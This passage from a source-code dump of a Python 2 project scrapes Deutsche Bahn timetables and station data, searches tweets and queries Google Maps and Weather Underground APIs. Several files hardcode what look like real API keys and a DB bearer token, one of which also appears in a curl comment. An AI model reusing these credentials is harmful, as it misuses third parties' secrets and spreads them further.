class_=\"time\")[0].contents[0],\n \"trainName\" : 'TIN-'+row.find_all(\"td\", class_=\"train\")[-1].a.contents[0].replace('\\n', ''),\n \"trainLink\" : 'TIL-'+ row.find_all(\"td\", class_=\"train\")[-1].a.get('href'),\n \"trainPlatform\" : 'TIP-'+str(platform_int),\n \"trainEnd\" : 'TIRE-' + rem_route.extract().text.replace('\\n', ''),\n \"trainRoute\" : 'TIR-'+ route.text.replace('\\n', ''),\n \"trainActual\" : 'TA-'+statusActual,\n \"trainDirection\" : 'TIM-'+direction,\n \"stationCode\" : 'TSC-'+station_code,\n \"stationId\" : 'TSI-'+station_id_str\n }\n log.debug( 'RESULT_ROW ' + '|'.join( trainInfo.values() ) )\n log.debug( 'END_PARSE_URL RESULT_ROWS_OK' )\n return 1\n\n else:\n log.debug( 'END_PARSE_URL RESULT_ROWS_NULL' )\n #COM:\n return 0\n\n############################################################################################################################\n\ndef customRoutine( DIR_DATA , station_number_str , station_name ):\n global log\n INTERVAL_MIN = 1 #por minuto\n\n DIRECTIONS = [\"arr\" , \"dep\"]\n WAIT_TIME = INTERVAL_MIN * 60\n HOUR_DIVISION = 60/INTERVAL_MIN\n today = dt.datetime.today()\n TODAY = dt.datetime.strftime(today, '%d.%m.%y')\n time_int_hour = int(dt.datetime.strftime(today, '%H'))\n time_str_full = str(time_int_hour) + \":00\"\n\n log = logging.getLogger()\n log.setLevel(logging.DEBUG)\n\n fh = logging.FileHandler(filename= DIR_DATA + station_number_str + '.log' )\n fh.setLevel(logging.DEBUG)\n formatter = logging.Formatter(\n fmt='%(asctime)s %(levelname)s: %(message)s',\n datefmt='%Y-%m-%d %H:%M:%S'\n )\n fh.setFormatter(formatter)\n log.addHandler(fh)\n\n station_url_code = quote( station_name + \"#\" + station_number_str , safe='')\n\n sel_direct = DIRECTIONS[0]\n\n log.info('ROUTINE_STARTS')\n log.info('BASE_URL-' + 'https://reiseauskunft.bahn.de' + \" DATE-\" + TODAY + \" STATION-'\" + station_name + \"' NUM-\" + station_number_str )\n log.info('CAPTURE_PERIOD each ' + str(INTERVAL_MIN) + ' minute/s')\n\n #rr = getTravels( station_url_code , now_time , TODAY , sel_direct )\n\n while time_int_hour < 24 :\n for t in range( HOUR_DIVISION ):\n rr = getTravels( station_url_code , station_number_str , time_str_full , TODAY , DIRECTIONS[0] )\n rr = getTravels( station_url_code , station_number_str , time_str_full , TODAY , DIRECTIONS[1] )\n log.warning('SLEEP')\n time.sleep(WAIT_TIME)\n today = dt.datetime.today()\n time_int_hour = dt.datetime.strftime(today, '%H')\n time_str_full = str(time_int_hour) + \":00\"\n\n\n############################################################################################################################\n############################################################################################################################\n############################################################################################################################\n\n\n\nif __name__ == '__main__':\n\n loader = Loader()\n #COM: load Model.json to 1 level object\n FLAT_SOURCE, FLAT_PARAMETERS = loader.loadJsonModelToFlag( ROOT_DIR ,CURRENT_DIR )\n\n #FLAT_SOURCE[\"outputDir\"]\n station_name = 'Bonn Hbf'\n station_number_str = '8000044'\n outputDir = FLAT_SOURCE[\"outputDirData\"]\n\n loader.createOutputDir( FLAT_SOURCE )\n PROCESS_RESULT = loader.saveReportModel( FLAT_SOURCE, FLAT_PARAMETERS )\n \n customRoutine( outputDir , station_number_str, station_name )\n" }, { "alpha_fraction": 0.6247960925102234, "alphanum_fraction": 0.6247960925102234, "avg_line_length": 22.576923370361328, "blob_id": "0754b1daab05ed104a558a156219b9128c90a2cd", "content_id": "431e4df2cd17c3aa7ef1dcca23ac71ed29d1d1c7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 613, "license_type": "no_license", "max_line_length": 74, "num_lines": 26, "path": "/services/modules/archiv/common.py", "repo_name": "chema-mengibar/tfp_dbahn", "src_encoding": "UTF-8", "text": "#!/usr/local/bin/python\nimport sys\nimport os\nimport collections\nimport argparse\nimport json\nfrom collection_json import Collection\nimport os\n\n\nclass Common(object):\n\n def __init__(self):\n #init\n self.dir_path = os.path.dirname(os.path.realpath(__file__))\n #cwd = os.getcwd()\n\n\n def loadJsonData( filename_import ):\n #def\n #print \"PATH >> \" + self.dir_path\n data_dir = self.dir_path\n filename_import = filename_import\n #'model_reference.json'\n array = open(os.path.join(data_dir, filename_import), 'r').read();\n return json.loads(array)\n" }, { "alpha_fraction": 0.575884222984314, "alphanum_fraction": 0.5787781476974487, "avg_line_length": 32.80434799194336, "blob_id": "47f084b17efcab5fd4f2b9e266f144f629432d1b", "content_id": "ee404858ed3d701468a4391ddbe21da550f0e2b1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3110, "license_type": "no_license", "max_line_length": 138, "num_lines": 92, "path": "/services/service_03_tw/main.py", "repo_name": "chema-mengibar/tfp_dbahn", "src_encoding": "UTF-8", "text": "#!/usr/local/bin/python\nimport sys\nimport os\nfrom os import listdir\nfrom os.path import isfile, join\nMODULES_DIR = os.path.abspath(os.path.join(os.path.dirname(__file__),\"../\"))\nsys.path.append( MODULES_DIR )\nfrom modules.simpleLoader import Loader\nCURRENT_DIR = os.path.abspath(os.path.join(os.path.dirname(__file__),\"./\"))\nROOT_DIR = os.path.abspath(os.path.join(os.path.dirname(__file__),\"../../..\"))\nsys.path.append( ROOT_DIR )\n#custom imports\nimport requests\nfrom requests.utils import quote\nimport urllib2\nimport json\nimport datetime as dt\nfrom bs4 import BeautifulSoup\nimport logging\nimport re\nimport time\nimport tweepy\nfrom tweepy.streaming import StreamListener\nfrom tweepy import OAuthHandler\nfrom tweepy import Stream\nfrom connect import *\n\n\n\n############################################################################################################################\nclass StdOutListener(StreamListener):\n\n def __init__(self):\n self.FLAT_SOURCE = []\n self.outputFullFile = ''\n\n def on_data(self, data):\n #print self.outputFullFile\n with open( self.outputFullFile , \"a\") as myfile:\n myfile.write(data)\n #print data\n return True\n\n def on_error(self, status):\n print status\n\n\n\n\ndef customRoutine( FLAT_SOURCE ):\n auth = OAuthHandler(consumer_key, consumer_secret)\n auth.set_access_token(access_token, access_token_secret)\n\n #listener = StdOutListener()\n #listener.FLAT_SOURCE = FLAT_SOURCE\n #date = loader.today('%Y%m%d')\n #listener.outputFullFile= FLAT_SOURCE[\"outputDirData\"] + FLAT_SOURCE[\"outputFilePrefix\"] + date + FLAT_SOURCE[\"outputFileExtension\"]\n #stream = Stream( auth, listener = listener )\n #stream.filter( track=['#Vandalismusschaeden','#Verspaetungen','@DB_Info ' ] )\n\n date = loader.today('%Y%m%d')\n\n api = tweepy.API(auth)\n\n\n max_tweets=100000\n\n query = '#Vandalismusschaeden OR #BahnDown OR @DB_Info'\n\n searched_tweets = [status._json for status in tweepy.Cursor(api.search, q='#Vandalismusschaeden', lang='de').items(max_tweets)]\n #json_strings = [json.dumps(json_obj) for json_obj in searched_tweets]\n tweets = [searched_tweets]\n outputFullFile= FLAT_SOURCE[\"outputDirData\"] + FLAT_SOURCE[\"outputFilePrefix\"] + date + FLAT_SOURCE[\"outputFileExtension\"]\n with open( outputFullFile , \"a\") as myfile:\n json.dump( tweets, myfile)\n\n\n############################################################################################################################\n############################################################################################################################\n############################################################################################################################\n\n\n\nif __name__ == '__main__':\n\n loader = Loader()\n #COM: load Model.json to 1 level object\n FLAT_SOURCE, FLAT_PARAMETERS = loader.loadJsonModelToFlag( ROOT_DIR ,CURRENT_DIR )\n\n loader.createOutputDir( FLAT_SOURCE )\n #PROCESS_RESULT = loader.saveReportModel( FLAT_SOURCE, FLAT_PARAMETERS )\n customRoutine( FLAT_SOURCE)\n" }, { "alpha_fraction": 0.5979827046394348, "alphanum_fraction": 0.6455331444740295, "avg_line_length": 29.617647171020508, "blob_id": "119792faf0f790fbc1cf9a5cbebda12fc6e110c5", "content_id": "6d007a9036ce526ad19f366db0b38fffbc13b685", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2082, "license_type": "no_license", "max_line_length": 186, "num_lines": 68, "path": "/services/step_00/main.py", "repo_name": "chema-mengibar/tfp_dbahn", "src_encoding": "UTF-8", "text": "#!/usr/local/bin/python\nimport sys\nimport os\nfrom os import listdir\nfrom os.path import isfile, join\nMODULES_DIR = os.path.abspath(os.path.join(os.path.dirname(__file__),\"../\"))\nsys.path.append( MODULES_DIR )\nfrom modules.simpleLoader import Loader\nCURRENT_DIR = os.path.abspath(os.path.join(os.path.dirname(__file__),\"./\"))\nROOT_DIR = os.path.abspath(os.path.join(os.path.dirname(__file__),\"../../..\"))\nsys.path.append( ROOT_DIR )\n#custom imports\nimport json\nimport time\nimport urllib2, base64\n\n\n\ndef customRoutine(FLAT_SOURCE, FLAT_PARAMETERS):\n\n base64string = base64.encodestring('%s:%s' % ('Bearer', 'ef948a12c4051590327bc2ea5f889c70')).replace('\\n', '')\n\n TOTAL = 5363\n LIMIT = 100\n num_stations = 0\n counter = 0\n\n while num_stations < TOTAL:\n\n first = counter\n URL = 'https://api.deutschebahn.com/stada/v2/stations?offset='+ str(counter) + '&limit=' + str(LIMIT)\n\n try:\n request = urllib2.Request( URL )\n request.add_header(\"Authorization\", 'Bearer ef948a12c4051590327bc2ea5f889c70')\n result = urllib2.urlopen(request)\n except urllib2.HTTPError, e:\n return 0\n else:\n json_string = result.read()\n parsed_json = json.loads(json_string)\n\n time.sleep(0.3)\n\n counter += LIMIT\n last = counter\n\n string_unique = str(first) + '-' + str(last)\n loader.saveJsonToFile( parsed_json , FLAT_SOURCE , string_unique )\n\n\n\n\n\nif __name__ == '__main__':\n\n loader = Loader()\n #COM: load Model.json to 1 level object\n FLAT_SOURCE, FLAT_PARAMETERS = loader.loadJsonModelToFlag( ROOT_DIR , CURRENT_DIR )\n\n customRoutine(FLAT_SOURCE, FLAT_PARAMETERS)\n\n PROCESS_RESULT = loader.saveReportModel( FLAT_SOURCE, FLAT_PARAMETERS )\n\n '''\n # curl -X GET --header \"Accept: application/json\" --header \"Authorization: Bearer ef948a12c4051590327bc2ea5f889c70\" \"https://api.deutschebahn.com/stada/v2/stations?offset=1&limit=10\"\n URL = 'https://api.deutschebahn.com/stada/v2/stations?offset=10&limit=10'\n '''\n" }, { "alpha_fraction": 0.5114210247993469, "alphanum_fraction": 0.5171916484832764, "avg_line_length": 33.65833282470703, "blob_id": "d7fefabd7dfce6d31005d3b68ecc32758360ac54", "content_id": "d28dd8e176448c54c18282de76acc8ba2efdeea0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4159, "license_type": "no_license", "max_line_length": 124, "num_lines": 120, "path": "/services/service_01/main.py", "repo_name": "chema-mengibar/tfp_dbahn", "src_encoding": "UTF-8", "text": "#!/usr/local/bin/python\nimport sys\nimport os\nfrom os import listdir\nfrom os.path import isfile, join\nMODULES_DIR = os.path.abspath(os.path.join(os.path.dirname(__file__),\"../\"))\nsys.path.append( MODULES_DIR )\nfrom modules.simpleLoader import Loader\nCURRENT_DIR = os.path.abspath(os.path.join(os.path.dirname(__file__),\"./\"))\nROOT_DIR = os.path.abspath(os.path.join(os.path.dirname(__file__),\"../../..\"))\nsys.path.append( ROOT_DIR )\n#custom imports\nimport requests\nfrom requests.utils import quote\nimport urllib2\nimport json\nimport datetime as dt\nfrom bs4 import BeautifulSoup\nimport logging\nimport re\nimport time\n\n\n\n############################################################################################################################\n\ndef getInfosAB( station_a , station_b ):\n global log\n YOUR_API_KEY = 'AIzaSyC116ghEYpqy5oNnaKyUXEqZSozFffWLOk'\n # Docu: https://developers.google.com/maps/documentation/distance-matrix/intro#travel_modes\n ORIGIN = str(station_a['coord'][1]) + ',' + str(station_a['coord'][0])\n DESTINATION = str(station_b['coord'][1]) + ',' + str(station_b['coord'][0])\n MODE = 'transit' #bicycling\n\n url = [\n \"https://maps.googleapis.com/maps/api/\",\n \"distancematrix\",\n \"/json?\",\n \"origins=\" + ORIGIN ,\n \"&destinations=\" + DESTINATION ,\n \"&mode=\" + MODE ,\n \"&language=de-DE\",\n '&key=' + YOUR_API_KEY\n ]\n #COM:\n\n URL = \"\".join(url)\n #print URL\n try:\n request = urllib2.Request( URL )\n result = urllib2.urlopen(request)\n\n except urllib2.HTTPError, e:\n print(\"404\")\n\n else:\n json_string = result.read()\n result_json = json.loads(json_string)\n\n filtered_result_json = {\n \"duration_seconds\": result_json[\"rows\"][0][\"elements\"][0][\"duration\"][\"value\"],\n \"distance_meters\": result_json[\"rows\"][0][\"elements\"][0][\"distance\"][\"value\"],\n \"station_a\" : station_a[\"evaNumber\"] ,\n \"station_b\" : station_b[\"evaNumber\"]\n }\n return filtered_result_json\n\n\n\n\n\ndef customRoutine( FLAT_SOURCE, station_a , station_b ):\n\n result_json = getInfosAB( station_a , station_b )\n # all data : result_json\n # filtered data : save_json\n unique = str(station_a[\"evaNumber\"]) + \"-\" + str(station_b[\"evaNumber\"])\n loader.saveJsonToFile( result_json , FLAT_SOURCE , unique )\n\n############################################################################################################################\n############################################################################################################################\n############################################################################################################################\n\n\n\nif __name__ == '__main__':\n\n arg_names = ['command', 'station_a_id', 'station_b_id']\n args = dict(zip(arg_names, sys.argv))\n\n loader = Loader()\n #COM: load Model.json to 1 level object\n FLAT_SOURCE, FLAT_PARAMETERS = loader.loadJsonModelToFlag( ROOT_DIR ,CURRENT_DIR )\n\n items = loader.loadJsonInputToItem( FLAT_SOURCE )\n\n if \"station_a_id\" in args and 'station_b_id' in args:\n if args[\"station_a_id\"] == \"\" or args[\"station_b_id\"] == \"\":\n sys.exit('ERROR: Empties IDs')\n else:\n if args[\"station_a_id\"].isdigit() and args[\"station_b_id\"].isdigit():\n station_a_id = args[\"station_a_id\"]\n station_b_id = args[\"station_b_id\"]\n if station_a_id in items and station_b_id in items:\n #station_name = items[station_number_str][\"name\"] #'8000044'\n station_a_obj = items[station_a_id]\n station_b_obj = items[station_b_id]\n else:\n sys.exit('ERROR: Not exist')\n else:\n sys.exit('ERROR: Not valid')\n else:\n sys.exit('ERROR: Not defined')\n\n print station_a_obj\n print station_b_obj\n\n loader.createOutputDir( FLAT_SOURCE )\n customRoutine( FLAT_SOURCE , station_a_obj , station_b_obj )\n PROCESS_RESULT = loader.saveReportModel( FLAT_SOURCE, FLAT_PARAMETERS )\n" }, { "alpha_fraction": 0.4773741364479065, "alphanum_fraction": 0.47928616404533386, "avg_line_length": 29.764705657958984, "blob_id": "0c3f2558f1d16120e1b3adbef90f2a61b73b5a9b", "content_id": "4b62abd075f2ef0444693d1c9a4e3ebd1c7eecd9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1569, "license_type": "no_license", "max_line_length": 124, "num_lines": 51, "path": "/services/service_03_fb/main.py", "repo_name": "chema-mengibar/tfp_dbahn", "src_encoding": "UTF-8", "text": "#!/usr/local/bin/python\nimport sys\nimport os\nfrom os import listdir\nfrom os.path import isfile, join\nMODULES_DIR = os.path.abspath(os.path.join(os.path.dirname(__file__),\"../\"))\nsys.path.append( MODULES_DIR )\nfrom modules.simpleLoader import Loader\nCURRENT_DIR = os.path.abspath(os.path.join(os.path.dirname(__file__),\"./\"))\nROOT_DIR = os.path.abspath(os.path.join(os.path.dirname(__file__),\"../../..\"))\nsys.path.append( ROOT_DIR )\n#custom imports\nimport requests\nfrom requests.utils import quote\nimport urllib2\nimport json\nimport datetime as dt\nfrom bs4 import BeautifulSoup\nimport logging\nimport re\nimport time\n\n\n\n############################################################################################################################\n\n\n\n\n\ndef customRoutine( FLAT_SOURCE, p_city_name, p_date ):\n\n print 'custom'\n\n\n\n############################################################################################################################\n############################################################################################################################\n############################################################################################################################\n\n\n\nif __name__ == '__main__':\n \n loader = Loader()\n #COM: load Model.json to 1 level object\n FLAT_SOURCE, FLAT_PARAMETERS = loader.loadJsonModelToFlag( ROOT_DIR ,CURRENT_DIR )\n \n #loader.createOutputDir( FLAT_SOURCE )\n #customRoutine( FLAT_SOURCE ,p_city_name, p_date )\n #PROCESS_RESULT = loader.saveReportModel( FLAT_SOURCE, FLAT_PARAMETERS )\n" }, { "alpha_fraction": 0.5018619894981384, "alphanum_fraction": 0.5073384642601013, "avg_line_length": 36.11382293701172, "blob_id": "2205f17447ed48a4545edc627b13a1af412d0ebc", "content_id": "dc9c82e952cd1a54e4a71c017698286d2d713ed2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4565, "license_type": "no_license", "max_line_length": 142, "num_lines": 123, "path": "/services/lab_01_url/main.py", "repo_name": "chema-mengibar/tfp_dbahn", "src_encoding": "UTF-8", "text": "#!/usr/local/bin/python\nimport sys\nimport os\nfrom os import listdir\nfrom os.path import isfile, join\nMODULES_DIR = os.path.abspath(os.path.join(os.path.dirname(__file__),\"../\"))\nsys.path.append( MODULES_DIR )\nfrom modules.simpleLoader import Loader\nCURRENT_DIR = os.path.abspath(os.path.join(os.path.dirname(__file__),\"./\"))\nROOT_DIR = os.path.abspath(os.path.join(os.path.dirname(__file__),\"../../..\"))\nsys.path.append( ROOT_DIR )\nreload(sys)\nsys.setdefaultencoding(\"utf-8\")\n#custom imports\nimport pandas as pd\nfrom pandas.compat import StringIO\nimport requests\nfrom requests.utils import quote\nimport urllib2\nimport json\nimport datetime as dt\nfrom bs4 import BeautifulSoup\nimport logging\nimport re\nimport time\n\n\n\ndef getTravels( compossed_url ):\n global log\n lst = compossed_url.split('&ident')\n station_code = lst[0][-7:]\n cityCode = lst[0].split('&input=')\n station_id_str = cityCode[1]\n #COM:\n rsp = requests.get( compossed_url)\n #LOG:\n log.debug( 'START_PARSE_URL ' + compossed_url)\n #COM:\n html = rsp.text.encode(\"utf8\")\n #COM:\n soup = BeautifulSoup(html, \"html.parser\")\n travelRows = soup.findAll('tr', id=re.compile('^journeyRow_'))\n #COM:\n if len(travelRows) > 0 :\n #COM:\n for row in travelRows:\n #COM:\n if len(row.find_all(\"td\", class_=\"platform\")) > 0 :\n platform_int = row.find_all(\"td\", class_=\"platform\")[0].text.replace('\\n', '')\n else:\n platform_int = '-'\n #COM:\n if len( row.find_all(\"td\", class_=\"ris\") ) > 0 :\n statusActual = row.find_all(\"td\", class_=\"ris\")[0].text.replace('\\n', '')\n else:\n statusActual = ''\n\n route = row.find_all(\"td\", class_=\"route\")[0]\n rem_route = route.find(class_=\"bold\")\n #COM:\n trainInfo = {\n \"trainDate\" : 'TID-'+ '',\n \"trainTime\" : 'TIT-'+ row.find_all(\"td\", class_=\"time\")[0].contents[0],\n \"trainName\" : 'TIN-'+row.find_all(\"td\", class_=\"train\")[-1].a.contents[0].replace('\\n', ''),\n \"trainLink\" : 'TIL-'+ row.find_all(\"td\", class_=\"train\")[-1].a.get('href'),\n \"trainPlatform\" : 'TIP-'+str(platform_int),\n \"trainEnd\" : 'TIRE-' + rem_route.extract().text.replace('\\n', ''),\n \"trainRoute\" : 'TIR-'+ route.text.replace('\\n', ''),\n \"trainActual\" : 'TA-'+statusActual,\n \"trainDirection\" : 'TIM-'+'',\n \"stationCode\" : 'TSC-'+station_code,\n \"stationId\" : 'TSI-'+station_id_str\n }\n log.debug( 'RESULT_ROW ' + '|'.join( trainInfo.values() ) )\n log.debug( 'END_PARSE_URL RESULT_ROWS_OK' )\n return 1\n\n else:\n log.debug( 'END_PARSE_URL RESULT_ROWS_NULL' )\n return 0\n\n############################################################################################################################\n\ndef customRoutine( FLAT_SOURCE ):\n global log\n\n log = logging.getLogger()\n log.setLevel(logging.DEBUG)\n\n outputFile = FLAT_SOURCE[\"outputDirData\"] + FLAT_SOURCE[\"outputFilePrefix\"] + loader.today('%Y%m%d') + FLAT_SOURCE[\"outputFileExtension\"]\n\n fh = logging.FileHandler(filename= outputFile )\n fh.setLevel(logging.DEBUG)\n formatter = logging.Formatter(\n fmt='%(asctime)s %(levelname)s: %(message)s',\n datefmt='%Y-%m-%d %H:%M:%S'\n )\n fh.setFormatter(formatter)\n log.addHandler(fh)\n\n INPUT_SOURCE = FLAT_SOURCE[\"inputPath\"] + FLAT_SOURCE[\"inputFile\"]\n df = pd.read_csv( INPUT_SOURCE )\n linksNull = []\n linksNull2 = []\n for index, row in df.iterrows():\n url = row[0].replace(' ','')\n res = getTravels(url)\n #if res == 0:\n # linksNull.append( url )\n\n\n############################################################################################################################\n############################################################################################################################\n############################################################################################################################\nif __name__ == '__main__':\n\n loader = Loader()\n #COM: load Model.json to 1 level object\n FLAT_SOURCE, FLAT_PARAMETERS = loader.loadJsonModelToFlag( ROOT_DIR ,CURRENT_DIR )\n loader.createOutputDir( FLAT_SOURCE )\n customRoutine( FLAT_SOURCE )\n PROCESS_RESULT = loader.saveReportModel( FLAT_SOURCE, FLAT_PARAMETERS )\n" }, { "alpha_fraction": 0.5843544006347656, "alphanum_fraction": 0.5866163969039917, "avg_line_length": 35.088436126708984, "blob_id": "395462535f06d72c99449edf9717416186e4d902", "content_id": "ca1f6288ae09556e3318dedaa367ae960e96a5df", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5305, "license_type": "no_license", "max_line_length": 165, "num_lines": 147, "path": "/services/modules/loader.py", "repo_name": "chema-mengibar/tfp_dbahn", "src_encoding": "UTF-8", "text": "#!/usr/local/bin/python\nimport sys\nimport os\nimport json\nimport datetime as dtm\nimport pandas as pd\nfrom pandas.compat import StringIO\nfrom os import listdir\nfrom os.path import isfile, join\n\n\nclass Loader(object):\n\n TODAY = dtm.datetime.strftime( dtm.datetime.today() , '%Y.%m.%d')\n\n def __init__(self):\n #init\n self.dir_path = os.path.dirname(os.path.realpath(__file__))\n #print 'walk, don`t run'\n\n\n '''\n #DEF\n Parse model.json infos to flat object\n '''\n def loadJsonModelToFlag(self, ROOT_DIR , CURRENT_DIR):\n\n FLAT_BUFFER = {}\n FLAT_PARAMETERS = {}\n\n #TODO: check if json structure is ok\n subDir= CURRENT_DIR\n modelFileReference= 'model.json'\n rawJsonModel = open(os.path.join(subDir, modelFileReference ), 'r') #.read()\n model = json.load( rawJsonModel )\n\n #COM: DEFINE parameters and defaults\n if not model[\"parameters\"][\"useIndex\"] or model[\"parameters\"][\"useIndex\"] == \"\" or model[\"parameters\"][\"useIndex\"] == \"False\":\n FLAT_PARAMETERS[\"useIndex\"] = False\n else:\n FLAT_PARAMETERS[\"useIndex\"] = True\n\n if not model[\"parameters\"][\"numberOutputFiles\"] or model[\"parameters\"][\"numberOutputFiles\"] == \"\" or model[\"parameters\"][\"numberOutputFiles\"] == \"singular\":\n FLAT_PARAMETERS[\"singularOutput\"] = True\n else:\n FLAT_PARAMETERS[\"singularOutput\"] = False\n\n\n #COM: DEFINE ...\n modelInputPath = model[\"input\"][\"path\"]\n\n FLAT_BUFFER[\"name\"] = model[\"meta\"][\"name\"]\n FLAT_BUFFER[\"version\"] = model[\"meta\"][\"version\"]\n FLAT_BUFFER[\"description\"] = model[\"meta\"][\"description\"]\n FLAT_BUFFER[\"dateCreation\"] = model[\"meta\"][\"dateCreation\"]\n\n #file or files ?\n if model[\"input\"][\"file\"] == \"\":\n FLAT_PARAMETERS['inputIsDir'] = True\n else:\n FLAT_PARAMETERS['inputIsDir'] = False\n FLAT_BUFFER['inputFile'] = model[\"input\"][\"file\"]\n\n\n FLAT_BUFFER['fullInputPath'] = ROOT_DIR + modelInputPath\n #FLAT_BUFFER['inputPath'] = modelInputPath\n FLAT_BUFFER['dateRun'] = self.TODAY\n\n FLAT_BUFFER[\"rootDir\"] = ROOT_DIR\n FLAT_BUFFER[\"outputDir\"] = ROOT_DIR + model[\"output\"][\"path\"]\n FLAT_BUFFER[\"outputDirData\"] = ROOT_DIR + model[\"output\"][\"path\"] + \"data/\"\n FLAT_BUFFER[\"outputFilePrefix\"] = model[\"output\"][\"prefix\"] + \"-\" + self.TODAY + \"-\"\n FLAT_BUFFER[\"outputFileFormat\"] = model[\"output\"][\"format\"]\n\n return FLAT_BUFFER, FLAT_PARAMETERS\n\n '''\n #DEF:\n '''\n def getInputFilesList( self ,FLAT_JSON , FLAT_PARAMETERS ):\n #COM: 1 file output or more\n singularOutput = FLAT_PARAMETERS['singularOutput']\n #COM: check if inputSource is 1 file or more\n inputIsDir = FLAT_PARAMETERS['inputIsDir']\n\n #COM inputSorce: a path (for files) or just a file\n inputFilesList = []\n inputSource = FLAT_JSON['fullInputPath']\n if inputIsDir == False:\n inputFilesList.append( FLAT_JSON['inputFile'] )\n else:\n inputFilesList = [ f for f in listdir( inputSource ) if isfile( join( inputSource, f ) ) ]\n\n return inputSource,inputFilesList\n\n\n '''\n #DEF:\n '''\n def saveReport(self, FLAT_BUFFER , LIST_DATAFRAMES, FLAT_PARAMETERS ):\n #REM: DATA is a data frame\n #print LIST_DATAFRAMES\n singularOutput = FLAT_PARAMETERS[\"singularOutput\"]\n outputDir = FLAT_BUFFER[\"outputDir\"]\n outputDirData = FLAT_BUFFER[\"outputDirData\"]\n if not os.path.exists(outputDir):\n os.makedirs(outputDir)\n os.makedirs( outputDirData )\n\n counter = 1\n #COM: save files\n if FLAT_BUFFER[\"outputFileFormat\"] == \".csv\":\n #COM:\n if singularOutput:\n fullOutputName = outputDirData + FLAT_BUFFER[\"outputFilePrefix\"] + str(counter) + FLAT_BUFFER[\"outputFileFormat\"]\n dataFrame = pd.concat( LIST_DATAFRAMES )\n dataFrame.to_csv(path_or_buf= fullOutputName , sep=\" \", encoding=\"UTF-8\", index= FLAT_PARAMETERS[\"useIndex\"] )\n counter = 1\n else:\n for dataFrame in LIST_DATAFRAMES:\n fullOutputName = outputDirData + FLAT_BUFFER[\"outputFilePrefix\"] + str(counter) + FLAT_BUFFER[\"outputFileFormat\"]\n dataFrame.to_csv(path_or_buf= fullOutputName , sep=\" \", encoding=\"UTF-8\", index= FLAT_PARAMETERS[\"useIndex\"] )\n counter +=1\n counter -=1\n #COM: save number of files\n FLAT_BUFFER[\"numberOutputFiles\"] = counter\n return FLAT_BUFFER\n\n\n '''\n #DEF:\n '''\n def saveReportModel(self, FLAT_BUFFER, FLAT_PARAMETERS):\n\n #open(os.path.join(subDir, modelFileReference ), 'r')\n rootDir = FLAT_BUFFER[\"rootDir\"]\n FLAT_BUFFER[\"rootDir\"]= rootDir.replace(\"\\\\\", \"/\")\n\n outputDir = FLAT_BUFFER[\"outputDir\"]\n for k, v in FLAT_BUFFER.iteritems():\n #print str(v)\n FLAT_BUFFER[k] = str(v).replace( rootDir , \"\")\n\n with open( outputDir + 'report_model.json', 'w') as outfile:\n json.dump( FLAT_BUFFER , outfile , indent=4, sort_keys=True)\n\n return 100\n" }, { "alpha_fraction": 0.49066752195358276, "alphanum_fraction": 0.49920910596847534, "avg_line_length": 31.255102157592773, "blob_id": "6a26d59b0db827aeaf8d91f73eb3c63fbc818d2b", "content_id": "d19a874248c4f74378523819c2587c51dac7d6a2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3161, "license_type": "no_license", "max_line_length": 131, "num_lines": 98, "path": "/services/service_02_wu/main.py", "repo_name": "chema-mengibar/tfp_dbahn", "src_encoding": "UTF-8", "text": "#!/usr/local/bin/python\nimport sys\nimport os\nfrom os import listdir\nfrom os.path import isfile, join\nMODULES_DIR = os.path.abspath(os.path.join(os.path.dirname(__file__),\"../\"))\nsys.path.append( MODULES_DIR )\nfrom modules.simpleLoader import Loader\nCURRENT_DIR = os.path.abspath(os.path.join(os.path.dirname(__file__),\"./\"))\nROOT_DIR = os.path.abspath(os.path.join(os.path.dirname(__file__),\"../../..\"))\nsys.path.append( ROOT_DIR )\n#custom imports\nimport requests\nfrom requests.utils import quote\nimport urllib2\nimport json\nimport datetime as dt\nfrom bs4 import BeautifulSoup\nimport logging\nimport re\nimport time\n\n\n\n############################################################################################################################\n\n\n\n\n\ndef customRoutine( FLAT_SOURCE, p_city_name, p_date ):\n\n WU_API_KEY = '3a6a38b5b39df798'\n #WU_DATE_DAY = '05'\n #WU_DATE_MONTH = '06'\n #WU_DATE_YEAR = '2017'\n WU_DATE_YYYYMMDD = p_date # WU_DATE_YEAR + WU_DATE_MONTH + WU_DATE_DAY\n WU_COUNTRY_CODE = 'DE'\n WU_CITY_NAME = p_city_name\n HISTORY_URL = '/history_'+ WU_DATE_YYYYMMDD + '/q/' + WU_COUNTRY_CODE + '/' + WU_CITY_NAME + '.json'\n #history\n URL = 'http://api.wunderground.com/api/' + str(WU_API_KEY) + HISTORY_URL\n #condition now\n #URL = 'http://api.wunderground.com/api/' + str(WU_API_KEY) + '/conditions/q/' + WU_COUNTRY_CODE + '/' + WU_CITY_NAME + '.json'\n\n try:\n request = urllib2.Request( URL )\n result = urllib2.urlopen(request)\n except urllib2.HTTPError, e:\n print(\"404\")\n else:\n print URL\n json_string = result.read()\n result_json = json.loads(json_string)\n\n unique = str(p_city_name) + \"-\" + str(p_date)\n loader.saveJsonToFile( result_json , FLAT_SOURCE , unique )\n\n\n\n############################################################################################################################\n############################################################################################################################\n############################################################################################################################\n\n\n\nif __name__ == '__main__':\n\n arg_names = ['command', 'p_city_name', 'p_date']\n args = dict(zip(arg_names, sys.argv))\n\n loader = Loader()\n #COM: load Model.json to 1 level object\n FLAT_SOURCE, FLAT_PARAMETERS = loader.loadJsonModelToFlag( ROOT_DIR ,CURRENT_DIR )\n\n #p_date = \"20170605\" or yesterday??\n\n if \"p_city_name\" in args:\n if args[\"p_city_name\"] == \"\":\n sys.exit('ERROR: Empties IDs')\n else:\n p_city_name = args[\"p_city_name\"]\n\n if 'p_date' in args:\n if len(args['p_date']) == 8:\n p_date = args[\"p_date\"]\n else:\n p_date = loader.today('%Y%m%d' , args['p_date'])\n else:\n p_date = loader.today('%Y%m%d' , -1)\n\n else:\n sys.exit('ERROR: Not defined')\n\n\n loader.createOutputDir( FLAT_SOURCE )\n customRoutine( FLAT_SOURCE ,p_city_name, p_date )\n PROCESS_RESULT = loader.saveReportModel( 